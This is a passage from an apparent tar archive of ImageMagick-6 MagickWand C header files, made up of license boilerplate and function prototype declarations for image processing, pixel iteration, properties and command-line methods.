the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Pixel Iterator Methods. */ #ifndef MAGICKWAND_PIXEL_ITERATOR_H #define MAGICKWAND_PIXEL_ITERATOR_H #include "wand/magick-wand.h" #include "wand/pixel-wand.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _PixelIterator PixelIterator; extern WandExport char *PixelGetIteratorException(const PixelIterator *,ExceptionType *); extern WandExport ExceptionType PixelGetIteratorExceptionType(const PixelIterator *); extern WandExport MagickBooleanType IsPixelIterator(const PixelIterator *), PixelClearIteratorException(PixelIterator *), PixelSetIteratorRow(PixelIterator *,const ssize_t), PixelSyncIterator(PixelIterator *); extern WandExport PixelIterator *ClonePixelIterator(const PixelIterator *), *DestroyPixelIterator(PixelIterator *), *NewPixelIterator(MagickWand *), *NewPixelRegionIterator(MagickWand *,const ssize_t,const ssize_t,const size_t, const size_t); extern WandExport PixelWand **PixelGetCurrentIteratorRow(PixelIterator *,size_t *), **PixelGetNextIteratorRow(PixelIterator *,size_t *), **PixelGetPreviousIteratorRow(PixelIterator *,size_t *); extern WandExport ssize_t PixelGetIteratorRow(PixelIterator *); extern WandExport void ClearPixelIterator(PixelIterator *), PixelResetIterator(PixelIterator *), PixelSetFirstIteratorRow(PixelIterator *), PixelSetLastIteratorRow(PixelIterator *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/magick-image.h 0000644 00000054036 15246445047 0012505 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand image Methods. */ #ifndef MAGICKWAND_MAGICK_IMAGE_H #define MAGICKWAND_MAGICK_IMAGE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport ChannelFeatures *MagickGetImageChannelFeatures(MagickWand *,const size_t); extern WandExport ChannelStatistics *MagickGetImageChannelStatistics(MagickWand *); extern WandExport char *MagickGetImageFilename(MagickWand *), *MagickGetImageFormat(MagickWand *), *MagickGetImageSignature(MagickWand *), *MagickIdentifyImage(MagickWand *); extern WandExport ColorspaceType MagickGetImageColorspace(MagickWand *); extern WandExport CompositeOperator MagickGetImageCompose(MagickWand *); extern WandExport CompressionType MagickGetImageCompression(MagickWand *); extern WandExport DisposeType MagickGetImageDispose(MagickWand *); extern WandExport double *MagickGetImageChannelDistortions(MagickWand *,const MagickWand *, const MetricType), MagickGetImageFuzz(MagickWand *), MagickGetImageGamma(MagickWand *), MagickGetImageTotalInkDensity(MagickWand *); extern WandExport EndianType MagickGetImageEndian(MagickWand *); extern WandExport GravityType MagickGetImageGravity(MagickWand *); extern WandExport Image *MagickDestroyImage(Image *), *GetImageFromMagickWand(const MagickWand *); extern WandExport ImageType MagickGetImageType(MagickWand *); extern WandExport InterlaceType MagickGetImageInterlaceScheme(MagickWand *); extern WandExport InterpolatePixelMethod MagickGetImageInterpolateMethod(MagickWand *); extern WandExport MagickBooleanType MagickAdaptiveBlurImage(MagickWand *,const double,const double), MagickAdaptiveBlurImageChannel(MagickWand *,const ChannelType,const double, const double), MagickAdaptiveResizeImage(MagickWand *,const size_t,const size_t), MagickAdaptiveSharpenImage(MagickWand *,const double,const double), MagickAdaptiveSharpenImageChannel(MagickWand *,const ChannelType,const double, const double), MagickAdaptiveThresholdImage(MagickWand *,const size_t,const size_t, const ssize_t), MagickAddImage(MagickWand *,const MagickWand *), MagickAddNoiseImage(MagickWand *,const NoiseType), MagickAddNoiseImageChannel(MagickWand *,const ChannelType,const NoiseType), MagickAffineTransformImage(MagickWand *,const DrawingWand *), MagickAnnotateImage(MagickWand *,const DrawingWand *,const double, const double,const double,const char *), MagickAnimateImages(MagickWand *,const char *), MagickAutoGammaImage(MagickWand *), MagickAutoGammaImageChannel(MagickWand *,const ChannelType), MagickAutoLevelImage(MagickWand *), MagickAutoLevelImageChannel(MagickWand *,const ChannelType), MagickAutoOrientImage(MagickWand *), MagickBlackThresholdImage(MagickWand *,const PixelWand *), MagickBlueShiftImage(MagickWand *,const double), MagickBlurImage(MagickWand *,const double,const double), MagickBlurImageChannel(MagickWand *,const ChannelType,const double, const double), MagickBorderImage(MagickWand *,const PixelWand *,const size_t,const size_t), MagickBrightnessContrastImage(MagickWand *,const double,const double), MagickBrightnessContrastImageChannel(MagickWand *,const ChannelType, const double,const double), MagickCharcoalImage(MagickWand *,const double,const double), MagickChopImage(MagickWand *,const size_t,const size_t,const ssize_t, const ssize_t), MagickClampImage(MagickWand *), MagickClampImageChannel(MagickWand *,const ChannelType), MagickClipImage(MagickWand *), MagickClipImagePath(MagickWand *,const char *,const MagickBooleanType), MagickClutImage(MagickWand *,const MagickWand *), MagickClutImageChannel(MagickWand *,const ChannelType,const MagickWand *), MagickColorDecisionListImage(MagickWand *,const char *), MagickColorizeImage(MagickWand *,const PixelWand *,const PixelWand *), MagickColorMatrixImage(MagickWand *,const KernelInfo *), MagickCommentImage(MagickWand *,const char *), MagickCompositeImage(MagickWand *,const MagickWand *,const CompositeOperator, const ssize_t,const ssize_t), MagickCompositeImageChannel(MagickWand *,const ChannelType,const MagickWand *, const CompositeOperator,const ssize_t,const ssize_t), MagickCompositeImageGravity(MagickWand *,const MagickWand *, const CompositeOperator,const GravityType), MagickCompositeLayers(MagickWand *,const MagickWand *,const CompositeOperator, const ssize_t,const ssize_t), MagickConstituteImage(MagickWand *,const size_t,const size_t,const char *, const StorageType,const void *), MagickContrastImage(MagickWand *,const MagickBooleanType), MagickContrastStretchImage(MagickWand *,const double,const double), MagickContrastStretchImageChannel(MagickWand *,const ChannelType,const double, const double), MagickConvolveImage(MagickWand *,const size_t,const double *), MagickConvolveImageChannel(MagickWand *,const ChannelType,const size_t, const double *), MagickCropImage(MagickWand *,const size_t,const size_t,const ssize_t, const ssize_t), MagickCycleColormapImage(MagickWand *,const ssize_t), MagickDecipherImage(MagickWand *,const char *), MagickDeskewImage(MagickWand *,const double), MagickDespeckleImage(MagickWand *), MagickDisplayImage(MagickWand *,const char *), MagickDisplayImages(MagickWand *,const char *), MagickDistortImage(MagickWand *,const DistortImageMethod,const size_t, const double *,const MagickBooleanType), MagickDrawImage(MagickWand *,const DrawingWand *), MagickEdgeImage(MagickWand *,const double), MagickEmbossImage(MagickWand *,const double,const double), MagickEncipherImage(MagickWand *,const char *), MagickEnhanceImage(MagickWand *), MagickEqualizeImage(MagickWand *), MagickEqualizeImageChannel(MagickWand *,const ChannelType), MagickEvaluateImage(MagickWand *,const MagickEvaluateOperator,const double), MagickEvaluateImageChannel(MagickWand *,const ChannelType, const MagickEvaluateOperator,const double), MagickExportImagePixels(MagickWand *,const ssize_t,const ssize_t, const size_t,const size_t,const char *,const StorageType,void *), MagickExtentImage(MagickWand *,const size_t,const size_t,const ssize_t, const ssize_t), MagickFilterImage(MagickWand *,const KernelInfo *), MagickFilterImageChannel(MagickWand *,const ChannelType,const KernelInfo *), MagickFlipImage(MagickWand *), MagickFloodfillPaintImage(MagickWand *,const ChannelType,const PixelWand *, const double,const PixelWand *,const ssize_t,const ssize_t, const MagickBooleanType), MagickFlopImage(MagickWand *), MagickForwardFourierTransformImage(MagickWand *,const MagickBooleanType), MagickFrameImage(MagickWand *,const PixelWand *,const size_t,const size_t, const ssize_t,const ssize_t), MagickFunctionImage(MagickWand *,const MagickFunction,const size_t, const double *), MagickFunctionImageChannel(MagickWand *,const ChannelType, const MagickFunction,const size_t,const double *), MagickGammaImage(MagickWand *,const double), MagickGammaImageChannel(MagickWand *,const ChannelType,const double), MagickGaussianBlurImage(MagickWand *,const double,const double), MagickGaussianBlurImageChannel(MagickWand *,const ChannelType,const double, const double), MagickGetImageAlphaChannel(MagickWand *), MagickGetImageBackgroundColor(MagickWand *,PixelWand *), MagickGetImageBluePrimary(MagickWand *,double *,double *), MagickGetImageBorderColor(MagickWand *,PixelWand *), MagickGetImageChannelDistortion(MagickWand *,const MagickWand *, const ChannelType,const MetricType,double *), MagickGetImageChannelKurtosis(MagickWand *,const ChannelType,double *, double *), MagickGetImageChannelMean(MagickWand *,const ChannelType,double *,double *), MagickGetImageChannelRange(MagickWand *,const ChannelType,double *,double *), MagickGetImageColormapColor(MagickWand *,const size_t,PixelWand *), MagickGetImageDistortion(MagickWand *,const MagickWand *,const MetricType, double *), MagickGetImageGreenPrimary(MagickWand *,double *,double *), MagickGetImageMatteColor(MagickWand *,PixelWand *), MagickGetImageLength(MagickWand *,MagickSizeType *), MagickGetImagePage(MagickWand *,size_t *,size_t *,ssize_t *, ssize_t *), MagickGetImagePixelColor(MagickWand *,const ssize_t,const ssize_t, PixelWand *), MagickGetImageRange(MagickWand *,double *,double *), MagickGetImageRedPrimary(MagickWand *,double *,double *), MagickGetImageResolution(MagickWand *,double *,double *), MagickGetImageWhitePoint(MagickWand *,double *,double *), MagickHaldClutImage(MagickWand *,const MagickWand *), MagickHaldClutImageChannel(MagickWand *,const ChannelType,const MagickWand *), MagickHasNextImage(MagickWand *), MagickHasPreviousImage(MagickWand *), MagickImplodeImage(MagickWand *,const double), MagickImportImagePixels(MagickWand *,const ssize_t,const ssize_t,const size_t, const size_t,const char *,const StorageType,const void *), MagickInverseFourierTransformImage(MagickWand *,MagickWand *, const MagickBooleanType), MagickLabelImage(MagickWand *,const char *), MagickLevelImage(MagickWand *,const double,const double,const double), MagickLevelImageChannel(MagickWand *,const ChannelType,const double, const double,const double), MagickLevelImageColors(MagickWand *,const PixelWand *,const PixelWand *, const MagickBooleanType), MagickLevelImageColorsChannel(MagickWand *,const ChannelType, const PixelWand *,const PixelWand *,const MagickBooleanType), MagickLevelizeImage(MagickWand *,const double,const double,const double), MagickLevelizeImageChannel(MagickWand *,const ChannelType,const double, const double,const double), MagickLinearStretchImage(MagickWand *,const double,const double), MagickLiquidRescaleImage(MagickWand *,const size_t,const size_t,const double, const double), MagickLocalContrastImage(MagickWand *,const double,const double), MagickMagnifyImage(MagickWand *), MagickMedianFilterImage(MagickWand *,const double), MagickMinifyImage(MagickWand *), MagickModeImage(MagickWand *,const double), MagickModulateImage(MagickWand *,const double,const double,const double), MagickMorphologyImage(MagickWand *,const MorphologyMethod,const ssize_t, const KernelInfo *), MagickMorphologyImageChannel(MagickWand *,const ChannelType, const MorphologyMethod,const ssize_t,const KernelInfo *), MagickMotionBlurImage(MagickWand *,const double,const double,const double), MagickMotionBlurImageChannel(MagickWand *,const ChannelType,const double, const double,const double), MagickNegateImage(MagickWand *,const MagickBooleanType), MagickNegateImageChannel(MagickWand *,const ChannelType, const MagickBooleanType), MagickNewImage(MagickWand *,const size_t,const size_t,const PixelWand *), MagickNextImage(MagickWand *), MagickNormalizeImage(MagickWand *), MagickNormalizeImageChannel(MagickWand *,const ChannelType), MagickOilPaintImage(MagickWand *,const double), MagickOpaquePaintImage(MagickWand *,const PixelWand *,const PixelWand *, const double,const MagickBooleanType), MagickOpaquePaintImageChannel(MagickWand *,const ChannelType, const PixelWand *,const PixelWand *,const double,const MagickBooleanType), MagickOrderedPosterizeImage(MagickWand *,const char *), MagickOrderedPosterizeImageChannel(MagickWand *,const ChannelType, const char *), MagickOptimizeImageTransparency(MagickWand *), MagickTransparentPaintImage(MagickWand *,const PixelWand *, const double,const double,const MagickBooleanType invert), MagickPingImage(MagickWand *,const char *), MagickPingImageBlob(MagickWand *,const void *,const size_t), MagickPingImageFile(MagickWand *,FILE *), MagickPolaroidImage(MagickWand *,const DrawingWand *,const double), MagickPosterizeImage(MagickWand *,const size_t,const MagickBooleanType), MagickPreviousImage(MagickWand *), MagickQuantizeImage(MagickWand *,const size_t,const ColorspaceType, const size_t,const MagickBooleanType,const MagickBooleanType), MagickQuantizeImages(MagickWand *,const size_t,const ColorspaceType, const size_t,const MagickBooleanType,const MagickBooleanType), MagickRaiseImage(MagickWand *,const size_t,const size_t,const ssize_t, const ssize_t,const MagickBooleanType), MagickRandomThresholdImage(MagickWand *,const double,const double), MagickRandomThresholdImageChannel(MagickWand *,const ChannelType,const double, const double), MagickReadImage(MagickWand *,const char *), MagickReadImageBlob(MagickWand *,const void *,const size_t), MagickReadImageFile(MagickWand *,FILE *), MagickReduceNoiseImage(MagickWand *,const double), MagickRemapImage(MagickWand *,const MagickWand *,const DitherMethod), MagickRemoveImage(MagickWand *), MagickResampleImage(MagickWand *,const double,const double,const FilterTypes, const double), MagickResetImagePage(MagickWand *,const char *), MagickResizeImage(MagickWand *,const size_t,const size_t,const FilterTypes, const double), MagickRollImage(MagickWand *,const ssize_t,const ssize_t), MagickRotateImage(MagickWand *,const PixelWand *,const double), MagickRotationalBlurImage(MagickWand *,const double), MagickRotationalBlurImageChannel(MagickWand *,const ChannelType, const double), MagickSampleImage(MagickWand *,const size_t,const size_t), MagickScaleImage(MagickWand *,const size_t,const size_t), MagickSegmentImage(MagickWand *,const ColorspaceType,const MagickBooleanType, const double,const double), MagickSelectiveBlurImage(MagickWand *,const double,const double,const double), MagickSelectiveBlurImageChannel(MagickWand *,const ChannelType,const double, const double,const double), MagickSeparateImageChannel(MagickWand *,const ChannelType), MagickSepiaToneImage(MagickWand *,const double), MagickSetImage(MagickWand *,const MagickWand *), MagickSetImageAlphaChannel(MagickWand *,const AlphaChannelType), MagickSetImageBackgroundColor(MagickWand *,const PixelWand *), MagickSetImageBias(MagickWand *,const double), MagickSetImageBluePrimary(MagickWand *,const double,const double), MagickSetImageBorderColor(MagickWand *,const PixelWand *), MagickSetImageChannelDepth(MagickWand *,const ChannelType,const size_t), MagickSetImageClipMask(MagickWand *,const MagickWand *), MagickSetImageColor(MagickWand *,const PixelWand *), MagickSetImageColormapColor(MagickWand *,const size_t, const PixelWand *), MagickSetImageColorspace(MagickWand *,const ColorspaceType), MagickSetImageCompose(MagickWand *,const CompositeOperator), MagickSetImageCompression(MagickWand *,const CompressionType), MagickSetImageDelay(MagickWand *,const size_t), MagickSetImageDepth(MagickWand *,const size_t), MagickSetImageDispose(MagickWand *,const DisposeType), MagickSetImageCompressionQuality(MagickWand *,const size_t), MagickSetImageEndian(MagickWand *,const EndianType), MagickSetImageExtent(MagickWand *,const size_t,const size_t), MagickSetImageFilename(MagickWand *,const char *), MagickSetImageFormat(MagickWand *,const char *), MagickSetImageFuzz(MagickWand *,const double), MagickSetImageGamma(MagickWand *,const double), MagickSetImageGravity(MagickWand *,const GravityType), MagickSetImageGreenPrimary(MagickWand *,const double,const double), MagickSetImageInterlaceScheme(MagickWand *,const InterlaceType), MagickSetImageInterpolateMethod(MagickWand *,const InterpolatePixelMethod), MagickSetImageIterations(MagickWand *,const size_t), MagickSetImageMatte(MagickWand *,const MagickBooleanType), MagickSetImageMatteColor(MagickWand *,const PixelWand *), MagickSetImageOpacity(MagickWand *,const double), MagickSetImageOrientation(MagickWand *,const OrientationType), MagickSetImagePage(MagickWand *,const size_t,const size_t,const ssize_t, const ssize_t), MagickSetImageRedPrimary(MagickWand *,const double,const double), MagickSetImageRenderingIntent(MagickWand *,const RenderingIntent), MagickSetImageResolution(MagickWand *,const double,const double), MagickSetImageScene(MagickWand *,const size_t), MagickSetImagePixelColor(MagickWand *,const ssize_t,const ssize_t, const PixelWand *), MagickSetImageTicksPerSecond(MagickWand *,const ssize_t), MagickSetImageType(MagickWand *,const ImageType), MagickSetImageUnits(MagickWand *,const ResolutionType), MagickSetImageWhitePoint(MagickWand *,const double,const double), MagickShadeImage(MagickWand *,const MagickBooleanType,const double, const double), MagickShadowImage(MagickWand *,const double,const double,const ssize_t, const ssize_t), MagickSharpenImage(MagickWand *,const double,const double), MagickSharpenImageChannel(MagickWand *,const ChannelType,const double, const double), MagickShaveImage(MagickWand *,const size_t,const size_t), MagickShearImage(MagickWand *,const PixelWand *,const double,const double), MagickSigmoidalContrastImage(MagickWand *,const MagickBooleanType, const double,const double), MagickSigmoidalContrastImageChannel(MagickWand *,const ChannelType, const MagickBooleanType,const double,const double), MagickSketchImage(MagickWand *,const double,const double,const double), MagickSolarizeImage(MagickWand *,const double), MagickSolarizeImageChannel(MagickWand *,const ChannelType,const double), MagickSparseColorImage(MagickWand *,const ChannelType,const SparseColorMethod, const size_t,const double *), MagickSpliceImage(MagickWand *,const size_t,const size_t,const ssize_t, const ssize_t), MagickSpreadImage(MagickWand *,const double), MagickStatisticImage(MagickWand *,const StatisticType,const size_t, const size_t), MagickStatisticImageChannel(MagickWand *,const ChannelType, const StatisticType,const size_t,const size_t), MagickStripImage(MagickWand *), MagickSwirlImage(MagickWand *,const double), MagickTintImage(MagickWand *,const PixelWand *,const PixelWand *), MagickTransformImageColorspace(MagickWand *,const ColorspaceType), MagickTransposeImage(MagickWand *), MagickTransverseImage(MagickWand *), MagickThresholdImage(MagickWand *,const double), MagickThresholdImageChannel(MagickWand *,const ChannelType,const double), MagickThumbnailImage(MagickWand *,const size_t,const size_t), MagickTrimImage(MagickWand *,const double), MagickUniqueImageColors(MagickWand *), MagickUnsharpMaskImage(MagickWand *,const double,const double,const double, const double), MagickUnsharpMaskImageChannel(MagickWand *,const ChannelType,const double, const double,const double,const double), MagickVignetteImage(MagickWand *,const double,const double,const ssize_t, const ssize_t), MagickWaveImage(MagickWand *,const double,const double), MagickWhiteThresholdImage(MagickWand *,const PixelWand *), MagickWriteImage(MagickWand *,const char *), MagickWriteImageFile(MagickWand *,FILE *), MagickWriteImages(MagickWand *,const char *,const MagickBooleanType), MagickWriteImagesFile(MagickWand *,FILE *); extern WandExport MagickProgressMonitor MagickSetImageProgressMonitor(MagickWand *,const MagickProgressMonitor, void *); extern WandExport MagickWand *MagickAppendImages(MagickWand *,const MagickBooleanType), *MagickCoalesceImages(MagickWand *), *MagickCombineImages(MagickWand *,const ChannelType), *MagickCompareImageChannels(MagickWand *,const MagickWand *,const ChannelType, const MetricType,double *), *MagickCompareImages(MagickWand *,const MagickWand *,const MetricType, double *), *MagickCompareImageLayers(MagickWand *,const ImageLayerMethod), *MagickDeconstructImages(MagickWand *), *MagickEvaluateImages(MagickWand *,const MagickEvaluateOperator), *MagickFxImage(MagickWand *,const char *), *MagickFxImageChannel(MagickWand *,const ChannelType,const char *), *MagickGetImage(MagickWand *), *MagickGetImageClipMask(MagickWand *), *MagickGetImageRegion(MagickWand *,const size_t,const size_t,const ssize_t, const ssize_t), *MagickMergeImageLayers(MagickWand *,const ImageLayerMethod), *MagickMorphImages(MagickWand *,const size_t), *MagickMontageImage(MagickWand *,const DrawingWand *,const char *, const char *,const MontageMode,const char *), *MagickOptimizeImageLayers(MagickWand *), *MagickPreviewImages(MagickWand *wand,const PreviewType), *MagickSimilarityImage(MagickWand *,const MagickWand *,RectangleInfo *, double *), *MagickSmushImages(MagickWand *,const MagickBooleanType,const ssize_t), *MagickSteganoImage(MagickWand *,const MagickWand *,const ssize_t), *MagickStereoImage(MagickWand *,const MagickWand *), *MagickTextureImage(MagickWand *,const MagickWand *), *MagickTransformImage(MagickWand *,const char *,const char *); extern WandExport OrientationType MagickGetImageOrientation(MagickWand *); extern WandExport PixelWand **MagickGetImageHistogram(MagickWand *,size_t *); extern WandExport RenderingIntent MagickGetImageRenderingIntent(MagickWand *); extern WandExport ResolutionType MagickGetImageUnits(MagickWand *); extern WandExport size_t MagickGetImageColors(MagickWand *), MagickGetImageCompressionQuality(MagickWand *), MagickGetImageDelay(MagickWand *), MagickGetImageChannelDepth(MagickWand *,const ChannelType), MagickGetImageDepth(MagickWand *), MagickGetImageHeight(MagickWand *), MagickGetImageIterations(MagickWand *), MagickGetImageScene(MagickWand *), MagickGetImageTicksPerSecond(MagickWand *), MagickGetImageWidth(MagickWand *), MagickGetNumberImages(MagickWand *); extern WandExport unsigned char *MagickGetImageBlob(MagickWand *,size_t *), *MagickGetImagesBlob(MagickWand *,size_t *); extern WandExport VirtualPixelMethod MagickGetImageVirtualPixelMethod(MagickWand *), MagickSetImageVirtualPixelMethod(MagickWand *,const VirtualPixelMethod); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/stream.h 0000644 00000001704 15246445047 0011457 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand montage command-line method. */ #ifndef MAGICKWAND_STREAM_H #define MAGICKWAND_STREAM_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType StreamImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/identify.h 0000644 00000001713 15246445047 0011777 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand identify command-line method. */ #ifndef MAGICKWAND_IDENTIFY_H #define MAGICKWAND_IDENTIFY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType IdentifyImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/magick-property.h 0000644 00000012601 15246445047 0013277 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand property, options, and profile methods. */ #ifndef MAGICKWAND_MAGICK_PROPERTY_H #define MAGICKWAND_MAGICK_PROPERTY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport char *MagickGetFilename(const MagickWand *), *MagickGetFormat(MagickWand *), *MagickGetFont(MagickWand *), *MagickGetHomeURL(void), *MagickGetImageArtifact(MagickWand *,const char *), **MagickGetImageArtifacts(MagickWand *,const char *,size_t *), **MagickGetImageProfiles(MagickWand *,const char *,size_t *), *MagickGetImageProperty(MagickWand *,const char *), **MagickGetImageProperties(MagickWand *,const char *,size_t *), *MagickGetOption(MagickWand *,const char *), **MagickGetOptions(MagickWand *,const char *,size_t *), *MagickQueryConfigureOption(const char *), **MagickQueryConfigureOptions(const char *,size_t *), **MagickQueryFonts(const char *,size_t *), **MagickQueryFormats(const char *,size_t *); extern WandExport ColorspaceType MagickGetColorspace(MagickWand *); extern WandExport CompressionType MagickGetCompression(MagickWand *); extern WandExport const char *MagickGetCopyright(void), *MagickGetPackageName(void), *MagickGetQuantumDepth(size_t *), *MagickGetQuantumRange(size_t *), *MagickGetReleaseDate(void), *MagickGetVersion(size_t *); extern WandExport double MagickGetPointsize(MagickWand *), *MagickGetSamplingFactors(MagickWand *,size_t *), *MagickQueryFontMetrics(MagickWand *,const DrawingWand *,const char *), *MagickQueryMultilineFontMetrics(MagickWand *,const DrawingWand *, const char *); extern WandExport GravityType MagickGetGravity(MagickWand *); extern WandExport ImageType MagickGetType(MagickWand *); extern WandExport InterlaceType MagickGetInterlaceScheme(MagickWand *); extern WandExport InterpolatePixelMethod MagickGetInterpolateMethod(MagickWand *); extern WandExport OrientationType MagickGetOrientation(MagickWand *); extern WandExport MagickBooleanType MagickDeleteImageArtifact(MagickWand *,const char *), MagickDeleteImageProperty(MagickWand *,const char *), MagickDeleteOption(MagickWand *,const char *), MagickGetAntialias(const MagickWand *), MagickGetPage(const MagickWand *,size_t *,size_t *,ssize_t *,ssize_t *), MagickGetResolution(const MagickWand *,double *,double *), MagickGetSize(const MagickWand *,size_t *,size_t *), MagickGetSizeOffset(const MagickWand *,ssize_t *), MagickProfileImage(MagickWand *,const char *,const void *,const size_t), MagickSetAntialias(MagickWand *,const MagickBooleanType), MagickSetBackgroundColor(MagickWand *,const PixelWand *), MagickSetColorspace(MagickWand *,const ColorspaceType), MagickSetCompression(MagickWand *,const CompressionType), MagickSetCompressionQuality(MagickWand *,const size_t), MagickSetDepth(MagickWand *,const size_t), MagickSetExtract(MagickWand *,const char *), MagickSetFilename(MagickWand *,const char *), MagickSetFormat(MagickWand *,const char *), MagickSetFont(MagickWand *,const char *), MagickSetGravity(MagickWand *,const GravityType), MagickSetImageArtifact(MagickWand *,const char *,const char *), MagickSetImageProfile(MagickWand *,const char *,const void *,const size_t), MagickSetImageProperty(MagickWand *,const char *,const char *), MagickSetInterlaceScheme(MagickWand *,const InterlaceType), MagickSetInterpolateMethod(MagickWand *,const InterpolatePixelMethod), MagickSetOption(MagickWand *,const char *,const char *), MagickSetOrientation(MagickWand *,const OrientationType), MagickSetPage(MagickWand *,const size_t,const size_t,const ssize_t, const ssize_t), MagickSetPassphrase(MagickWand *,const char *), MagickSetPointsize(MagickWand *,const double), MagickSetResolution(MagickWand *,const double,const double), MagickSetResourceLimit(const ResourceType type,const MagickSizeType limit), MagickSetSamplingFactors(MagickWand *,const size_t,const double *), MagickSetSecurityPolicy(MagickWand *,const char *), MagickSetSize(MagickWand *,const size_t,const size_t), MagickSetSizeOffset(MagickWand *,const size_t,const size_t,const ssize_t), MagickSetType(MagickWand *,const ImageType); extern WandExport MagickProgressMonitor MagickSetProgressMonitor(MagickWand *,const MagickProgressMonitor,void *); extern WandExport MagickSizeType MagickGetResource(const ResourceType), MagickGetResourceLimit(const ResourceType); extern WandExport PixelWand *MagickGetBackgroundColor(MagickWand *); extern WandExport OrientationType MagickGetOrientationType(MagickWand *); extern WandExport size_t MagickGetCompressionQuality(MagickWand *); extern WandExport unsigned char *MagickGetImageProfile(MagickWand *,const char *,size_t *), *MagickRemoveImageProfile(MagickWand *,const char *,size_t *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/display.h 0000644 00000001707 15246445047 0011634 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand display command-line method. */ #ifndef MAGICKWAND_DISPLAY_H #define MAGICKWAND_DISPLAY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType DisplayImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/wand-view.h 0000644 00000004563 15246445047 0012073 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand wand view methods. */ #ifndef MAGICKWAND_WAND_VIEW_H #define MAGICKWAND_WAND_VIEW_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _WandView WandView; typedef MagickBooleanType (*DuplexTransferWandViewMethod)(const WandView *,const WandView *,WandView *, const ssize_t,const int,void *), (*GetWandViewMethod)(const WandView *,const ssize_t,const int,void *), (*SetWandViewMethod)(WandView *,const ssize_t,const int,void *), (*TransferWandViewMethod)(const WandView *,WandView *,const ssize_t, const int,void *), (*UpdateWandViewMethod)(WandView *,const ssize_t,const int,void *); extern WandExport char *GetWandViewException(const WandView *,ExceptionType *); extern WandExport MagickBooleanType DuplexTransferWandViewIterator(WandView *,WandView *,WandView *, DuplexTransferWandViewMethod,void *), GetWandViewIterator(WandView *,GetWandViewMethod,void *), IsWandView(const WandView *), SetWandViewIterator(WandView *,SetWandViewMethod,void *), TransferWandViewIterator(WandView *,WandView *,TransferWandViewMethod,void *), UpdateWandViewIterator(WandView *,UpdateWandViewMethod,void *); extern WandExport MagickWand *GetWandViewWand(const WandView *); extern WandExport PixelWand **GetWandViewPixels(const WandView *); extern WandExport RectangleInfo GetWandViewExtent(const WandView *); extern WandExport void SetWandViewDescription(WandView *,const char *), SetWandViewThreads(WandView *,const size_t); extern WandExport WandView *CloneWandView(const WandView *), *DestroyWandView(WandView *), *NewWandView(MagickWand *), *NewWandViewExtent(MagickWand *,const ssize_t,const ssize_t,const size_t, const size_t); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/convert.h 0000644 00000001707 15246445047 0011647 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES 